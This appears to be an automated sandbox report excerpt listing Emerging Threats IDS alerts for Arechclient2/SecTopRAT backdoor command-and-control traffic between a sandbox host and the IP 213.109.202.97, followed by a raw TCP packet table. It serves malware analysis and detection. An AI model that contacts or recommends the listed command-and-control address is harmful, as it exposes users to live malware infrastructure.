2024-09-26T01:49:21.513489+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.528576+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.544151+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.562913+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.575946+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.598986+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.612195+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.632037+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.653187+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.668566+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.684371+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.700959+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.715389+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.731315+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.746715+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.768096+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.777945+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.793556+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.810307+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.825003+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.840441+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.857008+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.871639+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.887313+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.904333+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.918652+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.934191+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.949798+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.965899+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.981698+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.999651+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:22.012250+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:22.033243+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.043514+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.059434+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.074767+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.091280+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.107501+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.121618+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.137381+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.152878+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.168581+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.184148+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.201355+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.215718+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.232213+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.631113+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.636047+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.700755+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58394	TCP
2024-09-26T01:49:29.675597+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58389	213.109.202.97	9000	TCP
2024-09-26T01:49:31.562076+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58395	213.109.202.97	9000	TCP
2024-09-26T01:49:33.330521+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58396	213.109.202.97	9000	TCP
2024-09-26T01:49:35.205504+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58397	213.109.202.97	9000	TCP
2024-09-26T01:49:36.970760+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58398	213.109.202.97	9000	TCP
2024-09-26T01:49:38.831154+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58399	213.109.202.97	9000	TCP
2024-09-26T01:49:40.614579+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58400	213.109.202.97	9000	TCP
2024-09-26T01:49:42.487966+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58401	213.109.202.97	9000	TCP
2024-09-26T01:49:44.253566+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58402	213.109.202.97	9000	TCP
2024-09-26T01:49:46.150297+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58403	213.109.202.97	9000	TCP
2024-09-26T01:49:47.909401+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58404	213.109.202.97	9000	TCP
2024-09-26T01:49:49.784804+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58405	213.109.202.97	9000	TCP
2024-09-26T01:49:50.737325+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58407	213.109.202.97	15647	TCP
2024-09-26T01:49:50.767013+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58407	213.109.202.97	15647	TCP
2024-09-26T01:49:50.778620+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58407	213.109.202.97	15647	TCP
2024-09-26T01:49:50.793410+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58407	213.109.202.97	15647	TCP
2024-09-26T01:49:51.350364+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58407	213.109.202.97	15647	TCP
2024-09-26T01:49:51.351224+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58407	TCP
2024-09-26T01:49:51.585694+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58406	213.109.202.97	9000	TCP
2024-09-26T01:49:53.532794+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58408	213.109.202.97	9000	TCP
2024-09-26T01:49:53.951907+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58410	213.109.202.97	15647	TCP
2024-09-26T01:49:54.097566+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58410	213.109.202.97	15647	TCP
2024-09-26T01:49:54.624516+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58410	TCP
2024-09-26T01:50:07.189302+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58409	213.109.202.97	9000	TCP
2024-09-26T01:50:21.189494+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58411	213.109.202.97	9000	TCP
2024-09-26T01:50:22.970927+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58412	213.109.202.97	9000	TCP
2024-09-26T01:50:36.723928+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58413	213.109.202.97	9000	TCP
2024-09-26T01:50:38.470559+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58414	213.109.202.97	9000	TCP
2024-09-26T01:50:40.363725+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58415	213.109.202.97	9000	TCP
2024-09-26T01:50:41.203320+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58417	213.109.202.97	15647	TCP
2024-09-26T01:50:41.699102+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58417	213.109.202.97	15647	TCP
2024-09-26T01:50:41.834730+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58417	TCP
2024-09-26T01:50:42.081575+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.172048+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58416	213.109.202.97	9000	TCP
2024-09-26T01:50:42.218297+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.252977+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.267644+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.282074+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.296477+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.306345+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.330664+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.444294+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.449139+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.754705+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58418	TCP
2024-09-26T01:50:44.049623+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58419	213.109.202.97	9000	TCP
2024-09-26T01:50:45.816368+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58420	213.109.202.97	9000	TCP
2024-09-26T01:50:47.675700+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58421	213.109.202.97	9000	TCP
2024-09-26T01:50:49.442562+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58422	213.109.202.97	9000	TCP
2024-09-26T01:50:51.321703+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58423	213.109.202.97	9000	TCP
2024-09-26T01:50:53.117082+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58424	213.109.202.97	9000	TCP
2024-09-26T01:51:06.914047+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58425	213.109.202.97	9000	TCP
2024-09-26T01:51:08.854622+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58426	213.109.202.97	9000	TCP
2024-09-26T01:51:10.743709+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58427	213.109.202.97	9000	TCP
2024-09-26T01:51:14.920463+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58428	213.109.202.97	9000	TCP
2024-09-26T01:51:16.961254+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58429	213.109.202.97	9000	TCP
2024-09-26T01:51:18.739697+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58430	213.109.202.97	9000	TCP
2024-09-26T01:51:19.977943+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58432	213.109.202.97	15647	TCP
2024-09-26T01:51:20.629083+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58432	TCP
2024-09-26T01:51:20.671039+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58431	213.109.202.97	9000	TCP
2024-09-26T01:51:21.766380+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58434	213.109.202.97	15647	TCP
2024-09-26T01:51:21.975967+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58434	213.109.202.97	15647	TCP
2024-09-26T01:51:24.839535+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58433	213.109.202.97	9000	TCP
2024-09-26T01:51:25.278407+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58434	213.109.202.97	15647	TCP
2024-09-26T01:51:25.281554+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58434	213.109.202.97	15647	TCP
2024-09-26T01:51:25.393717+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58434	TCP
2024-09-26T01:51:26.489884+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.533401+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.563606+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.645245+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.660163+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.695819+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.708184+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.742451+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58435	213.109.202.97	9000	TCP
2024-09-26T01:51:26.747271+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.767834+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.787480+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.812155+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:27.049633+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:27.103355+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58436	TCP
2024-09-26T01:51:28.524056+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58437	213.109.202.97	9000	TCP
2024-09-26T01:51:30.411732+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58438	213.109.202.97	9000	TCP
2024-09-26T01:51:34.302742+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58439	213.109.202.97	9000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 01:47:16.480557919 CEST	49677	443	192.168.2.7	20.50.201.200
Sep 26, 2024 01:47:17.121155024 CEST	49674	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:17.121226072 CEST	49675	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:17.293072939 CEST	49672	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:26.730474949 CEST	49674	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:26.730496883 CEST	49675	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:26.902352095 CEST	49672	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:28.402369976 CEST	49677	443	192.168.2.7	20.50.201.200
Sep 26, 2024 01:47:29.326136112 CEST	443	49707	104.98.116.138	192.168.2.7
Sep 26, 2024 01:47:29.326255083 CEST	49707	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:37.792438984 CEST	49707	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:37.793101072 CEST	49712	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:37.793152094 CEST	443	49712	104.98.116.138	192.168.2.7
Sep 26, 2024 01:47:37.793230057 CEST	49712	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:37.793626070 CEST	49712	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:47:37.793636084 CEST	443	49712	104.98.116.138	192.168.2.7
Sep 26, 2024 01:47:37.797209978 CEST	443	49707	104.98.116.138	192.168.2.7
Sep 26, 2024 01:47:57.805121899 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:57.809983969 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:57.810096025 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:57.842580080 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:57.847362995 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:57.950001001 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:57.954813004 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:58.059489012 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:58.064315081 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:58.168606997 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:58.173501015 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:58.277896881 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:58.282768965 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:58.387407064 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:58.392538071 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:58.438204050 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:58.480669975 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:58.498001099 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:58.503035069 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:58.605796099 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:58.612870932 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:58.715168953 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:58.720266104 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:58.824698925 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:58.829469919 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:58.940269947 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:58.945225954 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.053220987 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.058334112 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.172368050 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.177103996 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.319675922 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.324786901 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.434675932 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.439532995 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.474841118 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.540236950 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.557539940 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.600305080 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.652492046 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.662024975 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.715034008 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.738025904 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.790622950 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.841665030 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.846755981 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.914561033 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.922470093 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:47:59.951536894 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:47:59.956443071 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.052954912 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.060453892 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.069227934 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.170133114 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.175023079 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.179909945 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.230612040 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.279074907 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.447278976 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.447398901 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.447781086 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.447990894 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.452682018 CEST	15647	49716	213.109.202.97	192.168.2.7
